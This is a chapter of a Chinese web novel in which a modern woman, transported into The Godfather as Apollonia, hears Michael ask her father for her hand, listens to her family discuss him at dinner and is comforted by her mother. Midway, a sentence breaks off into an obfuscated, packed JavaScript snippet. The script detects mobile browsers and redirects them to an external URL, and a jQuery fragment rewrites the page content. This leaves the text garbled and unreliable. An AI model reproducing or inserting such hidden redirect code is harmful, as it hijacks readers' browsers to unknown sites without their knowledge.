倪雅蹲在帘子后，整个人绷成一根弦。外面的空气像炸药味儿似的，连橄榄油的香气都带着一丝火药味。然后，她听见了迈克尔的声音。
那声音不疾不徐，像从冰块上流出来的水，却一下子浇在了她的后颈。
“我明白议论你女儿惹你生气了。请接受我的道歉，我在这里是陌生人，不太熟悉风俗。请允许我这么说：我对你和她都毫无不尊敬的意思。”倪雅皱了皱眉，心底冒出一个问号。“怎么会有这样的人？”
她一方面觉得黑手党家族的人思维模式和寻常人不同，另一方面又不得不承认，这才像是黑手党的做派。用武力把人请出来，再彬彬有礼地道歉，有礼貌的竟成了他；如果被冒犯，那么两支狼枪里有足够的弹药。
毕竟，一个有礼貌的人被冒犯了，也是会进行报复的。
可还没完。
“我叫迈克尔。你可以向警察告密，挣一大笔钱，可你女儿不但会失去自己的父亲，还会失去一个丈夫。”丈夫？？我请问呢大哥？
“我无论如何都想认识你的女儿，在你的允许和你家族的监管下认识一下，以我全部的礼数和全部的尊重认识一下她。”
倪雅感觉脑子“轰”地一声，像一锅刚搅开的番茄酱，翻滚着冒泡。
“我想认识她，和她说话，要是彼此都觉得合适，我想娶她。要是不合适，我不会再出现在这里。她也许会觉得我很讨厌，这就不是人力能挽救的事情了。”
……总算说了句人话。倪雅松一口气，至少他人性未泯。好歹是从小接受自由观念、西方思想长大的怀揣着“美国梦”的进步青年。
系统上线，语气冷静到不近人情：“主线事件‘正统求婚请求’已触发。当前好感度：53。”
“53？才53就要娶我了？”倪雅忍不住吐槽，男人的爱真的挺廉价的。什么“被雷劈”“一眼万年”，原来才53，放在大学里这个分数都得重修的。
而且，“这才第一次见面欸！我都还没来得及看他鼻子是不是歪的，他就要娶我了？你们西西里人谈恋爱都用秒表计时吗？系统，你们是不是急着赶剧情啊？”
她刚想从缝隙里再偷看一眼，系统啪地在脑海里弹出一张提示卡：
【提示：请宿主准备接受周日上门拜访事件。任务分支：首次正式见面。】
“等等等等，我没要求开五倍速，能不能正常倍速展开剧情呢？”
她胸口微闷，不是羞涩，而是被过于戏剧化的剧情冲得有点喘不过气来。耳边却听见了父亲的声音——低沉、压抑、但没拒绝。
“星期天下午来吧。我叫维泰利，我住在村外山坡上的高处。你先来咖啡馆，我带你上去。”
倪雅蹲在空酒桶后面，有一种什么都抓不住的无力感。
仿佛能和维也纳会议门外的塔列朗共情，看着别人决定我的婚姻大事，连张椅子都没得坐。也许，就算慷慨发言，也会像巴黎和会上的顾维钧，该听见的人会选择性地关闭听力功能。
明明她才是那个在系统任务里打本升级的玩家，但实际上她能做的事只有配合男主角的剧情。你以为自己是主人，其实只是附庸。男主角的一句“我想娶她”，就能将剧情拉到某个重要节点。
她深吸一口气，缓缓吐出一口浊气，自我安慰道，“冷静，冷静，这只是电影里的固定剧情。我是电影里的‘阿波罗妮亚’，不是倪雅，这不是我的现实人生。好好把戏演完，剧情走得越快其实越有利，这样就能赶紧回去数五十万美金是多少个零了。”这才勉强把自己哄好了。
可是，就如俗话说的那句，按下葫芦浮起瓢。一个念头被压下去，另一个念头又涌上来。
“真正的阿波罗妮亚……就这样吗？就这样，男方和父亲两句话，就决定了她的人生走向？有人问过她的意愿吗？这个村庄里有多少个这样的女孩呢？西西里又有多少个阿波罗妮亚呢？在她所生活的那个时代，还存在多少个阿波罗妮亚呢？一辈子困在村庄，男人决定了她们的人生，于是她们乖驯、听话、任劳任怨，在男人手底下艰难地喘息，生下女儿，又重复着她们的生活。”
她盯着帘子前的光影，心里一阵阵发凉。
维泰利家的两个儿子一大早出门打猎，晚饭时终于回来了。倪雅对妮亚的两个哥哥不熟悉，电影里并没有多少镜头，仿佛只是出现在维图的口中，用来震慑那个有着狼一样眼神的外乡人。
餐桌上男人侃侃而谈，女人默不作声。像是某种天经地义的传统。拓拓稳重硬朗，五官深得像米开朗琪罗放下教堂壁画工作连夜凿的，一眼就知道是大哥；二哥是恩佐，一头卷曲短发，眼睛总是笑眯眯的，一副吊儿郎当的样子。
反正没有说话的份，倪雅埋头专心吃饭。卡波纳塔就是茄子西红柿洋葱橄榄油炖成一锅，酸酸甜甜的，有点像茄辣西。要是里面没有葡萄干就好了，突然蹦出一口甜甜的葡萄干，像坏别人好事的不速之客。不敢想象换成青辣椒会有多美味。
煎鸡蛋的百里香就是倪雅今天下午去采的，和鸡蛋混在一起味道不好不坏。如果可以，还是不要这样做了。她此刻无比怀念榨菜煎蛋的味道。
专心吃饭的同时，还是得留一只耳朵听桌上的男人们讲话，毕竟事关妮亚和她自己的“终身大事”。更何况桌上男人谈事，时不时瞟她一眼，她想假装无事发生都不可能。
维图和两个儿子讲起那个由两个“牧羊人”扛着狼枪守着的美国年轻人，语气低沉。那双眼睛，一闭上还能回想起，冷得像山谷雪水，令人心惊。
那不可能是“平民”的眼睛，虽然他声称自己和黑手党没有关系。可在西西里，真正的“朋友们的朋友”从来不需要亲口承认。下午，维图照规矩问了那句代代流传的暗语：“你是朋友的朋友吗？”
年轻人斩钉截铁地否认：“我在这里只是个陌生人。”
他说这话时表情不变，眼神不躲，反而让人更觉得，他知道很多，藏得很深。
可是另一方面，维图的直觉告诉他，这就是西西里人信奉的不期而遇的好运气。
他不是不知道，女儿已经出落成美丽的少女模样。女儿的美貌将让她不愁吃穿，家族兴旺。
村里的有些年轻人已经围着她打转。周日弥撒结束，总有几个男孩站在教堂外的石阶边，低声说话又频频往这边看，像排队等圣光砸头。上周，还有个拿曼陀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405268|168747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林唱情歌的小子，在黄昏时分晃到酒馆后窗下。结果被拓拓从门里一脚踹出去，说他“走音扰民”。
这么想想倒也不错，美国年轻人这张破相的脸足以完成吓跑他们的必要任务。
说到这，拓拓和恩佐交换了个眼神，视线不约而同落在妹妹身上。
饭桌上，只有男人的酒杯里倒着葡萄酒。女人和小孩面前，是用陶杯盛着的柠檬水。妹妹正抿了一口柠檬水，脸一皱，酸得像要哭。那表情，和她小时候受委屈时一模一样。
恩佐轻笑了一声，却是回应父亲的话，“这么快就开口，倒是有勇气。”
拓拓却没笑，抬眼看着父亲：“您想同意？”
“他说话讲规矩，也许是个真正的‘朋友们的朋友’。”维图盯着烛火，“可他的身份，我还不清楚。他来得太快，话说得太稳，不像是第一次这么做。”
“我不信他。”恩佐倚在椅背上，“连脸上那道伤口都像是他的某种警告：‘我已经打过仗了，别惹我’。”
“星期天你们跟我一起去。”维图说得笃定，不容拒绝，是一家之主的口吻。“不光是见他，也是让他见你们。”
饭后，倪雅和母亲一起收拾餐桌，将餐具送进厨房。厨房里热气未散，陶碗轻轻碰撞的声音在水汽中回响。
母亲一直沉默，直到放下最后一个木盘，才开口说话。厨房之于女人，就像饭桌之于男人，在这里，她才可以说想说的话。
也许是西西里的阳光太灿烂，晒得人老得更快；也许是终年操劳的缘故，她的母亲看起来并不年轻了。那双眼睛下方布满细细的皱纹，此刻温柔地看向她。
“妮亚。”母亲洗着碗，水声哗啦。“那个美国人……你怎么看？”
她没有问“你喜不喜欢”，换了一个更含蓄的方式，更符合倪雅对西西里的刻板印象。但其实，母亲会问这一句，已经超乎倪雅的心理预期了。她还以为，母亲会一直沉默到倪雅出嫁。毕竟，没有权力的人，大多数时候只能选择沉默。
而母亲的下一句，才真的出乎倪雅意料，仿佛听到什么了不起的话。
“要是你心里不愿意，那就不行。”
“别怕，你的父亲是个有骨气的人。你哥哥们……他们也不会让你委屈。”
她的语气就像阳光下晾晒过的麻布，干燥而温软。昏黄的烛火摇曳，晃得倪雅眼睛微酸。她从背后抱住母亲，脸紧紧地贴在母亲背上，“妈妈。”
维泰利太太温柔地应她，倪雅又喊了一声“妈妈”，眼泪顺着眼窝滑落。
倪雅和亲生母亲的关系实在糟糕。没有什么撕心裂肺的大事，一件件小事却将她们分别推得越来越远。回过头来才发现，母女之间，竟然比陌生人还要无措，甚至不知道要怎么开启正常的对话。
上一次这么抱她的亲身母亲，也许要追溯到十年前。好久远的时间。
此刻，她是那么的贪恋这个，年长女性的、带着母性的、温暖的体温。此刻，她贪恋着这个怀抱，贪恋着年长女性的、带着母性的、温暖的体温。
只有这种时候，她才会不设防地伏在另一个人身上，安静乖顺得像从未有过一点戾气的孩子。